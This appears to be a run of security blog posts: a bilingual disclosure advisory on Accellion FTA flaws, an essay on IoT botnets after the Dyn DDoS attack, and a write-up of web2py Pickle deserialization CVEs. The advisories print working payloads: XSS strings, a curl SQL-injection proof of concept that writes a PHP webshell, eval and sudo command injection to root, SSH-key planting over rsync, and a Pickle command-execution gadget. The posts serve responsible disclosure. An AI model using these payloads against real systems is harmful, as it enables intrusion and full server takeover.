在 FTA 中,為了使系統可以直接透過網頁介面進行更新,因此在 sudoers 配置中特別針對 nobody 用戶允許直接使用 root 權限執行指令,並透過 yum-client.pl 這隻程式進行軟體更新

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


其中 YUM_CLIENT 就是進行更新的指令,部分代碼如下:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

深入觀察 yum-client.pl 後可發現在 --cdrom 參數上存在 Command Injection,使得攻擊者可將任意指令插入參數內並以 root 身分執行

所以使用如下指令:

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.


bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

即可以 root 身分執行任意指令!

後門


在取得最高權限後,開始對伺服器進行一些審視時,發現已有幾款後門藏在 FTA 主機中了,經過研究後首先確認一款 IRC BOT 為 Niara 所發布的 弱點報告 中有提及,此外,額外發現兩款不同類型的 PHP Webshell 並無在公開的報告中發現,透過 Apache Log 時間推測應該是透過 2015 年中的 CVE-2015-2857 所放置之後門。

PHPSPY 後門,全球 1217 台存活主機上共發現 62 台,放置路徑於:

https://<fta>/courier/themes/templates/Redirector_Cache.php

WSO 後門,全球 1217 台存活主機上共發現 9 台,放置路徑於:

https://<fta>/courier/themes/templates/imag.php


致謝


這份 Advisory 所提及的弱點為在 2016 二月時參加 Facebook Bug Bounty 時尋找到的,詳情可參考文章《滲透 Facebook 的思路與發現》,找到弱點的當下立即回報包括 Accellion 及 Facebook,Accellion 並在 2/12 號將此份弱點記錄在 FTA_9_12_40 並通知所有受影響的客戶安裝修補程式。

感謝 Facebook 以及 Accellion 的迅速反應跟配合 : )

Timeline

  • 2016/02/06 05:21 聯絡 Accellion 詢問何處可回報弱點
  • 2016/02/07 12:35 將報告寄至 Accellion Support Team
  • 2016/03/03 03:03 Accellion Support Team 通知會在 FTA_9_12_40 修復
  • 2016/05/10 15:18 詢問將撰寫 Advisory 許可及通知發現兩款後門存在
  • 2016/06/06 10:20 雙方討論定稿

參考

Advisory: Accellion File Transfer Appliance Vulnerability

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


About Accellion FTA


Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.

Vulnerability Details


In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.

After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).

Areas Affected


According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.

Vulnerability Analysis and Exploitation


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

Among these parameters, $g_app_id $g_username $client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.

The following lines are the most important function client_properties( $client_id ).

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.

In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

The created PHP file will be located at

http://<fta>/courier/themes/templates/.cc.php


Known-Secret-Key leads to Remote Code Execution

In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.

The precondition of this vulnerability is Known-Secret-Key stored in the database

This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude ( ) in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.


Execute system commands directly by using backticks (`)

user_profile_auth(`$_POST[cmd]`);

A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.

1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.

Thus, using the commands below

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'

mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.

bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

will grant execution freely as root!

Backdoor


After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.

One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in

https://<fta>/courier/themes/templates/Redirector_Cache.php

The other is WSO, found on 9 of the online hosts globally, placed in

https://<fta>/courier/themes/templates/imag.php


Acknowledgement


The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.

Timeline

  • Feb 6, 2016 05:21 Contact Accellion for vulnerability report
  • Feb 7, 2016 12:35 Send the report to Accellion Support Team
  • Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
  • May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
  • Jun 6, 2016 10:20 Advisory finalized by mutual consent

References

IoT設備商別成為幫兇 從Dyn DDoS攻擊事件看IoT安全

25 December 2016 at 16:00

萬物皆聯網成為萬物皆可駭

2016年10月21日知名網路服務 Dyn 遭受殭屍網路發動三波巨大規模 DDoS 攻擊,世界各大網站服務皆因為此攻擊而中斷,包括 Amazon、Twitter、Github、PayPal 等大型網站都因此受到影響。資安人員研究發現,本次 DDoS 攻擊的發起者未明,但多數攻擊流量來自殭屍網路「Mirai」,利用 IPCAM、CCTV、DVR、IoT 裝置等系統進行 DDoS 攻擊。為什麼這些設備會成為攻擊的幫凶呢?我們又該如何自保呢?

一個攻擊事件,一定有背後的原因。攻擊者一定是有所求,才會進行攻擊,可能是求名、求利或求樂趣。因為 DDoS 攻擊會直接影響目標系統的運作,對系統營運造成影響,在黑色產業的循環中通常會利用這種攻擊來勒索錢財。例如針對營運線上遊戲的公司進行 DDoS 攻擊,讓遊戲服務中斷,逼迫企業將主機的連線花錢「贖」回來。但 Dyn 這次的事件各家都沒有收到類似的勒索信,因此資安專家們推測,這可能是一次練兵,或者甚至是 DDoS 攻擊服務的行銷手法。如果我們用黑色產業的角度去思考一個攻擊行為,就會有截然不同的看法。試想,如果這是一次駭客組織的商業行銷行為,目的是展現這個團隊的 DDoS 攻擊火力,這樣的成果是否可以稱作是一個成功案例呢?如果你是服務購買者,是否對這樣的服務有信心呢?

利用 IoT 裝置及網通設備佈建殭屍網路 (botnet) 已經不是新聞。Internet Census 2012 是一次資安圈的大事件,一個稱為 Carna 的 botnet 利用了全世界 42 萬台裝置,掃描全世界整個 IPv4 設備,蒐集 IP 使用狀況、連接埠、服務標頭等資訊,並且提供共計 9TB 資料開放下載研究。而這個 botnet 多數利用路由器 (router) 的漏洞,利用預設密碼、空密碼登入設備,植入後門供攻擊者控制。而後的幾次大型攻擊事件都與 IoT 及嵌入式裝置有關係,讓 IoT 的口號「萬物皆聯網」成為「萬物皆可駭」,也讓資安研究人員對於研究這類型設備趨之若鶩。近年智慧車輛不斷發展,國際間也不少智慧車輛被駭的事件。車輛被駭影響的就不單是資訊系統,更會波及人身安全甚至整個城市的交通,資安考量的影響也遠比以前嚴重。

連網裝置成為駭客下手的主要原因

究竟是怎樣的安全漏洞讓攻擊者這麼輕易利用呢?目前攻擊者及 botnet 多數利用的還是使用預設密碼、或甚至是沒有設定密碼的裝置。網站 Insecam 揭露了全世界數萬支未修改密碼的攝影機,再再顯示不少民眾或公司行號購買了監視器,卻沒有健全的資安意識,讓監視器暴露於全世界之中。更多攝影機、監視器等的資安議題可以參考我們的文章「網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?」。除了預設密碼之外,設備中的後門也是一個大問題。不少路由器、無線基地台廠商被爆出系統中含有測試用的登入帳號,該帳號無法關閉、無法移除,且容易被攻擊者進行研究取得。除了等待廠商升級韌體來修補該問題之外,沒有其他解法,因此成為攻擊者大量取得控制權的方式之一。

IoT 裝置為什麼會成為攻擊者下手的目標呢?我們可以分成幾點來探討。

第一,嵌入式裝置以往的設計都是不連網,IoT 的風潮興起之後,各廠商也為了搶市場先機,加速推出產品,將原本的產品加上網路功能,甚至 App 控制功能。而求快的結果就是犧牲資安考量,加上廠商可能原本並非網路專長,也沒有足夠的資安人員檢視安全性,導致設計出來的產品資安漏洞層出不窮。產品的設計必須嚴守 Security by Design 的原則,在開發初期的每個環節都納入資安考量,並且遵守 Secure Coding 規範,避免在產品後期疊床架屋,造成要釐清資安問題的根源更難如登天。

第二,產品的更新機制問題。IoT 裝置的更新機制在早期並沒有謹慎考量,需要使用者自行下載韌體更新,甚至有些裝置必須回廠才能進行更新。不少使用者只要產品沒有出問題,並不會主動進行韌體更新,甚至覺得更新只會造成更多問題。在沒有便利更新機制的情況之下,設備的資安問題更難以被妥善處理。近期因為資安事件頻傳,FOTA (Firmware Over-The-Air) 機制才逐漸被重視,但其他資安問題也隨即而來。如何確保韌體的完整性?如何防止攻擊者下載韌體進行研究修改?這些都是廠商需要不斷去反覆思量的。

第三,敵暗我明,也是我們認為最重要的一點。我們認為資安就是攻擊者與防禦者的一場資訊不對稱戰爭,防禦者(廠商)通常只會憑藉著自己的知識跟想像進行防禦,但卻不知道攻擊者的思維跟手法。就像春秋時代公輸般,建造雲梯協助楚國攻擊宋國的城池。唯有了解攻擊者,化解這個不對稱的資訊,才能有效的進行防禦,如同墨子了解雲梯的攻擊方式,模擬各種對應防禦的手法,才成功讓楚王放棄攻擊。不僅是 IoT 廠商,所有企業都必須了解攻擊者的思維、手法,知曉這個黑色產業的運作,甚至針對攻擊的方式進行模擬演練,將每一個防禦的缺口補足,才可以正面迎戰攻擊者。

設備商避免成為幫凶,消費者也應自保

身為使用者,我們該如何確認自己的設備有沒有被感染呢?若被感染該怎麼有效清除呢?建議先搜尋網路上目前已公開有漏洞的廠牌及型號,若在問題清單之內,先將整台設備備份設定後,回復原廠初始設定,以確保攻擊者放置的惡意程式都被清除。接著更新廠商所釋出的新版韌體,並記得在更新安裝完畢後立即更換密碼以防二度被入侵。若廠商無釋出更新,可能是資安不被重視,也可能是廠商已經結束營運。如果還是選擇要使用這個設備,建議將設備轉放在內部網路,或者是在前面增加防禦設備,避免攻擊者入侵。

至於廠商該怎麼跟上資安的腳步呢?我們認為目前廠商最重要的就是資安意識。這已經是老生常談,以往網路產業逐漸重視資安,但跨入網路的其他資訊產業恐怕還沒意識到資安的嚴重性。凡舉傳統家電轉為智慧家電、車輛轉為智慧車輛、甚至基礎建設也逐漸資訊化的現在,若這些踏入網路的產業沒有相對應的資安意識,恐怕很難在初期就預防風險的發生。企業也必須盤點風險的所在,透過人工滲透測試模擬攻擊者的攻擊思維及路徑,如同軍事演習一般,將入侵的途徑一一封鎖。我們認為 IoT 等嵌入式裝置、智慧家電、甚至網通資安設備本身,未來都會是駭客組織攻擊的對象,利用更新的困難度跟管理者的疏於管理,建置一個個大規模殭屍大軍,成為未來戰爭的棋子。我們期許未來廠商建構產品時,都能優先納入資安考量,不成為黑色產業的幫凶,也讓國際認可台灣產品是資安至上的優良品質。

WEB2PY 反序列化的安全問題-CVE-2016-3957

2 January 2017 at 16:00

前言

在一次滲透測試的過程中,我們遇到了用 web2py 框架建構的應用程式。為了成功滲透目標,我們研究了 web2py,發現該框架範例應用程式中存在三個資訊洩漏問題,這些洩漏都會導致遠端命令執行 (RCE)。由於範例應用程式預設是開啟的,若沒有手動關閉,攻擊者可以直接利用洩漏資訊取得系統執行權限。這些問題編號分別為:CVE-2016-3952、CVE-2016-3953、CVE-2016-3954、CVE-2016-3957。

背景-老生常談的 Pickle Code Execution

在繼續說明前必須要先認知什麼是反序列化的安全問題?反序列化的安全問題在本質上其實是物件注入,它的嚴重性取決於所注入的物件本身是否會造成危險行為,例如讀寫檔。一般來說要透過反序列化建構一個成功的攻擊有兩個要點:

  • 是否可控制目標所要反序列化的字串。
  • 危險行為在反序列化後是否會被執行。這在實務上大概有下面兩種情形:
    • 危險行為是寫在魔法方法 (Magic Method) 裡面,例如 PHP 的 __construct 在物件生成時一定會執行。
    • 反序列化後覆蓋既有物件,導致正常程式流程出現危險結果。

反序列化的問題在每個程式語言都會發生,但通常需要搭配看程式碼拼湊出可以用的攻擊流程,比較難利用。不過,某些實作序列化的函式庫會將程式邏輯也序列化成字串,因此攻擊者可以自定義物件直接使用,不再需要拼湊,例如今天要提的 Python Pickle。

直接舉個 Pickle 的例子如下,我們製造了一個會執行系統指令 echo success 的物件 Malicious,並且序列化成字串 "cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."。當受害者反序列化這個字串,即觸發執行該系統指令,因此印出 success

>>> import os
>>> import cPickle
>>> class Malicious(object):
...   def __reduce__(self):
...     return (os.system,("echo success",))
...
>>> serialize = cPickle.dumps(Malicious())
>>> serialize
"cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."
>>> cPickle.loads(serialize)
success
0

這就是 Pickle 誤用反序列化所造成的命令執行風險。攻擊者很容易可以產生一個含有任意命令執行的序列化字串,進而讓受害者在進行反序列化的過程中觸發執行惡意命令。

反序列化 + 序列化字串可控

本次發現的問題主要來自 web2py 本身的 session cookie 使用 Pickle 處理序列化需求 (CVE-2016-3957),而且因為 session cookie 的加密字串固定 (CVE-2016-3953),攻擊者可任意偽造惡意的序列化字串造成前面所介紹的命令執行風險。細節如下。

CVE-2016-39571

web2py 的應用程式如果使用 cookie 來儲存 session 資訊,那麼在每次接到使用者請求時會將 session cookie 用一個 secure_loads 函式將 cookie 內容讀入。 [Ref]

gluon/globals.py#L846
        if response.session_storage_type == 'cookie':
            # check if there is session data in cookies
            if response.session_data_name in cookies:
                session_cookie_data = cookies[response.session_data_name].value
            else:
                session_cookie_data = None
            if session_cookie_data:
                data = secure_loads(session_cookie_data, cookie_key,
                                    compression_level=compression_level)
                if data:
                    self.update(data)
            response.session_id = True 

secure_loads 函式內容如下,在一連串解密後會用 pickle.loads 方法將解密內容反序列化,在這裡確定 cookie 內容會使用 Pickle 處理。[Ref]

gluon/utils.py#L200
def secure_loads(data, encryption_key, hash_key=None, compression_level=None):
    if ':' not in data:
        return None
    if not hash_key:
        hash_key = sha1(encryption_key).hexdigest()
    signature, encrypted_data = data.split(':', 1)
    actual_signature = hmac.new(hash_key, encrypted_data).hexdigest()
    if not compare(signature, actual_signature):
        return None
    key = pad(encryption_key[:32])
    encrypted_data = base64.urlsafe_b64decode(encrypted_data)
    IV, encrypted_data = encrypted_data[:16], encrypted_data[16:]
    cipher, _ = AES_new(key, IV=IV)
    try:
        data = cipher.decrypt(encrypted_data)
        data = data.rstrip(' ')
        if compression_level:
            data = zlib.decompress(data)
        return pickle.loads(data)  # <-- Bingo!!!
    except Exception, e:
        return None

因此,如果知道連線中用以加密 cookie 內容的 encryption_key,攻擊者就可以偽造 session cookie,進而利用 pickle.loads 進行遠端命令執行。

CVE-2016-3953

很幸運的,我們發現 web2py 預設開啟的範例應用程式是使用 session cookie,並且有一個寫死的密鑰:yoursecret。[Ref]

applications/examples/models/session.py
session.connect(request,response,cookie_key='yoursecret')

因此,web2py 的使用者如果沒有手動關閉範例應用程式,攻擊者就可以直接在 http://[target]/examples/ 頁面發動攻擊取得主機操作權。

Proof of Concept

我們嘗試用 yoursecret 作為 encryption_key 偽造一個合法的 session cookie,並將一個會執行系統指令 sleep 的物件塞入其中。帶著此 session cookie 連入 web2py 官網範例應用程式(http://www.web2py.com/examples),情形如下:

當插入的物件會執行指令 sleep 3 時,網站回應時間為 6.8 秒

POC1

當插入的物件會執行指令 sleep 5 時,網站回應時間為 10.8 秒

POC2

確實會因為塞入的 session cookie 值不同而有所延遲,證明網站的確執行了(兩次)我們偽造的物件內容。2

其他洩漏導致 RCE

此外,在 web2py 範例應用程式為了示範框架的特性,因此洩漏了許多環境變數。其中有兩個變數較為敏感,間接也會導致端命令執行,分別如下。

CVE-2016-3954

在 http://[target]/examples/simple_examples/status 頁面中,response 分頁內容洩漏了 session_cookie_key 值。這個值就是用來加密前面所介紹的 session cookie,搭配 CVE-2016-3957 Pickle 的問題可直接遠端命令執行。

CVE-2016-3954

無論使用者是否自行更改 session_cookie_key,或是該值是系統隨機產生。此介面仍然可以取得機敏資訊藉以造成危害。

CVE-2016-3952

http://[target]/examples/template_examples/beautify 頁面洩漏了系統環境變數,當使用者是使用 standalone 版本時,管理者的密碼就會在環境變數裡出現。這個密碼可登入 http://[target]/admin 管理介面,管理介面內提供方便的功能得以執行任意指令。

CVE-2016-3952

官方修復

Version 2.14.1 移除洩漏的環境變數。[Ref]

Version 2.14.2 使用不固定字串作為 session_cookie_key,並移除洩漏頁面。

applications/examples/models/session.py
from gluon.utils import web2py_uuid
cookie_key = cache.ram('cookie_key',lambda: web2py_uuid(),None)
session.connect(request,response,cookie_key=cookie_key)

總結

web2py 框架預設會開啟一個範例應用程式,路徑為 http://[target]/examples/。
由於這個應用程式使用 Pickle 來處理序列化的 session cookie,且因為加密字串為寫死的 yoursecret,任何人可竄改 session cookie 的內容,藉此進行 Pickle 命令執行攻擊。
該範例程式介面中也存在 session_cookie_key、管理者密碼洩漏問題,兩個都會導致任意命令執行。除此之外,在這個應用程式中洩漏許多系統配置、路徑等資訊,有機會被拿來做進階攻擊。
在 2.14.2 版本後已經修復所有洩漏問題,當然最好的解決辦法就是關閉這個範例應用程式。

最後,來整理從開發者的角度在這個案例中該注意的要點:

  1. 小心處理序列化字串,使用者若有機會改變該字串值,有機會被插入未預期的惡意物件,造成惡意的結果。
  2. 正式產品中切記要移除任何跟開發相關的配置。

時間軸

  • 2016/03/08 發現問題與其他研究
  • 2016/03/09 回報官方 GitHub Issue
  • 2016/03/15 成功與開發者 email 聯繫
  • 2016/03/15 官方修復管理者密碼洩漏問題 (CVE-2016-3952)
  • 2016/03/25 官方修復其他弱點並發佈 2.14.2 版本

附註

  1. 其實 CVE-2016-3957 並非不安全的設計,在跟 CVE team 溝通的過程中發現 web2py 開始使用 JSON 取代 Pickle [Ref],因此判定 web2py 認為目前的設計是不洽當的,給予此編號。後來官方因故將 Pickle 改了回來,不過在沒有洩漏加密字串的前提下已經是安全的了。 

  2. 在自行架設的 web2py 環境中只會執行一次,沒有去細追 web2py 官方網站為何執行兩次。 

Why learn web pentesting

By: geri
8 September 2017 at 12:28

